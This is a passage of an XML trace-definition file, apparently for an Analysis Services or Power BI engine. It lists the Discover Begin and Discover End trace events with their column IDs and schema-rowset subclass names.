                  <NAME>DISCOVER_PERFORMANCE_COUNTERS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>DISCOVER_MEMORYUSAGE</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>DISCOVER_JOB_PROGRESS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>DISCOVER_MEMORYGRANT</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>16</ID>
                  <NAME>DISCOVER_COMMANDS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>17</ID>
                  <NAME>DISCOVER_COMMAND_OBJECTS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>18</ID>
                  <NAME>DISCOVER_OBJECT_ACTIVITY</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>19</ID>
                  <NAME>DISCOVER_OBJECT_MEMORY_USAGE</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

      </EVENTLIST>
    </EVENTCATEGORY>

    <EVENTCATEGORY>
      <NAME>Discover Events</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of events for discover requests.</DESCRIPTION>
      <EVENTLIST>

        <EVENT>
          <ID>36</ID>
          <NAME>Discover Begin</NAME>
          <DESCRIPTION>Start of Discover Request.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>0</ID>
                  <NAME>DBSCHEMA_CATALOGS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>DBSCHEMA_TABLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>DBSCHEMA_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>DBSCHEMA_PROVIDER_TYPES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>MDSCHEMA_CUBES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>MDSCHEMA_DIMENSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>MDSCHEMA_HIERARCHIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>MDSCHEMA_LEVELS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>MDSCHEMA_MEASURES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>9</ID>
                  <NAME>MDSCHEMA_PROPERTIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10</ID>
                  <NAME>MDSCHEMA_MEMBERS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>MDSCHEMA_FUNCTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>MDSCHEMA_ACTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>MDSCHEMA_SETS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>DISCOVER_INSTANCES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>MDSCHEMA_KPIS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>16</ID>
                  <NAME>MDSCHEMA_MEASUREGROUPS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>17</ID>
                  <NAME>MDSCHEMA_COMMANDS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>18</ID>
                  <NAME>DMSCHEMA_MINING_SERVICES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>19</ID>
                  <NAME>DMSCHEMA_MINING_SERVICE_PARAMETERS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>20</ID>
                  <NAME>DMSCHEMA_MINING_FUNCTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>21</ID>
                  <NAME>DMSCHEMA_MINING_MODEL_CONTENT</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>22</ID>
                  <NAME>DMSCHEMA_MINING_MODEL_XML</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>23</ID>
                  <NAME>DMSCHEMA_MINING_MODELS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>24</ID>
                  <NAME>DMSCHEMA_MINING_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>25</ID>
                  <NAME>DISCOVER_DATASOURCES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>26</ID>
                  <NAME>DISCOVER_PROPERTIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>27</ID>
                  <NAME>DISCOVER_SCHEMA_ROWSETS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>28</ID>
                  <NAME>DISCOVER_ENUMERATORS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>29</ID>
                  <NAME>DISCOVER_KEYWORDS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>30</ID>
                  <NAME>DISCOVER_LITERALS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>31</ID>
                  <NAME>DISCOVER_XML_METADATA</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>32</ID>
                  <NAME>DISCOVER_TRACES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>33</ID>
                  <NAME>DISCOVER_TRACE_DEFINITION_PROVIDERINFO</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>34</ID>
                  <NAME>DISCOVER_TRACE_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>35</ID>
                  <NAME>DISCOVER_TRACE_EVENT_CATEGORIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>36</ID>
                  <NAME>DMSCHEMA_MINING_STRUCTURES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>37</ID>
                  <NAME>DMSCHEMA_MINING_STRUCTURE_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>38</ID>
                  <NAME>DISCOVER_MASTER_KEY</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>39</ID>
                  <NAME>MDSCHEMA_INPUT_DATASOURCES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>40</ID>
                  <NAME>DISCOVER_LOCATIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>41</ID>
                  <NAME>DISCOVER_PARTITION_DIMENSION_STAT</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>42</ID>
                  <NAME>DISCOVER_PARTITION_STAT</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>43</ID>
                  <NAME>DISCOVER_DIMENSION_STAT</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>44</ID>
                  <NAME>MDSCHEMA_MEASUREGROUP_DIMENSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>45</ID>
                  <NAME>DISCOVER_XEVENT_PACKAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>46</ID>
                  <NAME>DISCOVER_XEVENT_OBJECTS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>47</ID>
                  <NAME>DISCOVER_XEVENT_OBJECT_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>48</ID>
                  <NAME>DISCOVER_XEVENT_SESSION_TARGETS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>49</ID>
                  <NAME>DISCOVER_XEVENT_SESSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>50</ID>
                  <NAME>DISCOVER_STORAGE_TABLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>51</ID>
                  <NAME>DISCOVER_STORAGE_TABLE_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>52</ID>
                  <NAME>DISCOVER_STORAGE_TABLE_COLUMN_SEGMENTS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>53</ID>
                  <NAME>DISCOVER_CALC_DEPENDENCY</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>54</ID>
                  <NAME>DISCOVER_CSDL_METADATA</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>55</ID>
                  <NAME>DISCOVER_RESOURCE_POOLS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>56</ID>
                  <NAME>TMSCHEMA_MODEL</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>57</ID>
                  <NAME>TMSCHEMA_DATA_SOURCES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>58</ID>
                  <NAME>TMSCHEMA_TABLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>59</ID>
                  <NAME>TMSCHEMA_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>60</ID>
                  <NAME>TMSCHEMA_ATTRIBUTE_HIERARCHIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>61</ID>
                  <NAME>TMSCHEMA_PARTITIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>62</ID>
                  <NAME>TMSCHEMA_RELATIONSHIPS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>63</ID>
                  <NAME>TMSCHEMA_MEASURES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>64</ID>
                  <NAME>TMSCHEMA_HIERARCHIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>65</ID>
                  <NAME>TMSCHEMA_LEVELS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>67</ID>
                  <NAME>TMSCHEMA_TABLE_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>68</ID>
                  <NAME>TMSCHEMA_COLUMN_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>69</ID>
                  <NAME>TMSCHEMA_PARTITION_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>70</ID>
                  <NAME>TMSCHEMA_SEGMENT_MAP_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>71</ID>
                  <NAME>TMSCHEMA_DICTIONARY_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>72</ID>
                  <NAME>TMSCHEMA_COLUMN_PARTITION_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>73</ID>
                  <NAME>TMSCHEMA_RELATIONSHIP_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>74</ID>
                  <NAME>TMSCHEMA_RELATIONSHIP_INDEX_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>75</ID>
                  <NAME>TMSCHEMA_ATTRIBUTE_HIERARCHY_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>76</ID>
                  <NAME>TMSCHEMA_HIERARCHY_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>77</ID>
                  <NAME>DISCOVER_RING_BUFFERS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>78</ID>
                  <NAME>TMSCHEMA_KPIS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>79</ID>
                  <NAME>TMSCHEMA_STORAGE_FOLDERS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>80</ID>
                  <NAME>TMSCHEMA_STORAGE_FILES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>81</ID>
                  <NAME>TMSCHEMA_SEGMENT_STORAGES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>82</ID>
                  <NAME>TMSCHEMA_CULTURES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>83</ID>
                  <NAME>TMSCHEMA_OBJECT_TRANSLATIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>84</ID>
                  <NAME>TMSCHEMA_LINGUISTIC_METADATA</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>85</ID>
                  <NAME>TMSCHEMA_ANNOTATIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>86</ID>
                  <NAME>TMSCHEMA_PERSPECTIVES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>87</ID>
                  <NAME>TMSCHEMA_PERSPECTIVE_TABLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>88</ID>
                  <NAME>TMSCHEMA_PERSPECTIVE_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>89</ID>
                  <NAME>TMSCHEMA_PERSPECTIVE_HIERARCHIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>90</ID>
                  <NAME>TMSCHEMA_PERSPECTIVE_MEASURES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>91</ID>
                  <NAME>PF_TRACE_EVENT_SUBCLASS_TMSCHEMA_ROLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>92</ID>
                  <NAME>PF_TRACE_EVENT_SUBCLASS_TMSCHEMA_ROLE_MEMBERSHIPS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>93</ID>
                  <NAME>PF_TRACE_EVENT_SUBCLASS_TMSCHEMA_TABLE_PERMISSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>94</ID>
                  <NAME>PF_TRACE_EVENT_SUBCLASS_TMSCHEMA_VARIATIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>95</ID>
                  <NAME>TMSCHEMA_SETS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>96</ID>
                  <NAME>TMSCHEMA_PERSPECTIVE_SETS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>97</ID>
                  <NAME>TMSCHEMA_EXTENDED_PROPERTIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>98</ID>
                  <NAME>TMSCHEMA_EXPRESSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>99</ID>
                  <NAME>TMSCHEMA_COLUMN_PERMISSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>100</ID>
                  <NAME>TMSCHEMA_DETAIL_ROWS_DEFINITIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>101</ID>
                  <NAME>TMSCHEMA_RELATED_COLUMN_DETAILS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>102</ID>
                  <NAME>TMSCHEMA_GROUP_BY_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>103</ID>
                  <NAME>TMSCHEMA_CALCULATION_GROUPS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>104</ID>
                  <NAME>TMSCHEMA_CALCULATION_ITEMS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>105</ID>
                  <NAME>TMSCHEMA_ALTERNATE_OF_DEFINITIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>106</ID>
                  <NAME>TMSCHEMA_REFRESH_POLICIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>107</ID>
                  <NAME>DISCOVER_POWERBI_DATASOURCES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>108</ID>
                  <NAME>TMSCHEMA_FORMAT_STRING_DEFINITIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>109</ID>
                  <NAME>DISCOVER_M_EXPRESSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>110</ID>
                  <NAME>TMSCHEMA_POWERBI_ROLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>111</ID>
                  <NAME>TMSCHEMA_QUERY_GROUPS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>112</ID>
                  <NAME>DISCOVER_DB_MEM_STATS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>113</ID>
                  <NAME>DISCOVER_MEM_STATS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>114</ID>
                  <NAME>TMSCHEMA_ANALYTICS_AIMETADATA</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>45</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>38</ID>
          <NAME>Discover End</NAME>
          <DESCRIPTION>End of Discover Request.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>0</ID>
                  <NAME>DBSCHEMA_CATALOGS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>DBSCHEMA_TABLES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>DBSCHEMA_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>DBSCHEMA_PROVIDER_TYPES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>MDSCHEMA_CUBES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>MDSCHEMA_DIMENSIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>MDSCHEMA_HIERARCHIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>MDSCHEMA_LEVELS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>MDSCHEMA_MEASURES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>9</ID>
                  <NAME>MDSCHEMA_PROPERTIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10</ID>
                  <NAME>MDSCHEMA_MEMBERS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>MDSCHEMA_FUNCTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>MDSCHEMA_ACTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>MDSCHEMA_SETS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>DISCOVER_INSTANCES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>MDSCHEMA_KPIS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>16</ID>
                  <NAME>MDSCHEMA_MEASUREGROUPS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>17</ID>
                  <NAME>MDSCHEMA_COMMANDS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>18</ID>
                  <NAME>DMSCHEMA_MINING_SERVICES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>19</ID>
                  <NAME>DMSCHEMA_MINING_SERVICE_PARAMETERS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>20</ID>
                  <NAME>DMSCHEMA_MINING_FUNCTIONS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>21</ID>
                  <NAME>DMSCHEMA_MINING_MODEL_CONTENT</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>22</ID>
                  <NAME>DMSCHEMA_MINING_MODEL_XML</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>23</ID>
                  <NAME>DMSCHEMA_MINING_MODELS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>24</ID>
                  <NAME>DMSCHEMA_MINING_COLUMNS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>25</ID>
                  <NAME>DISCOVER_DATASOURCES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>26</ID>
                  <NAME>DISCOVER_PROPERTIES</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>27</ID>
                  <NAME>DISCOVER_SCHEMA_ROWSETS</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>28</ID>
                  <NAME>DISCOVER_ENUMERATORS</NAME>
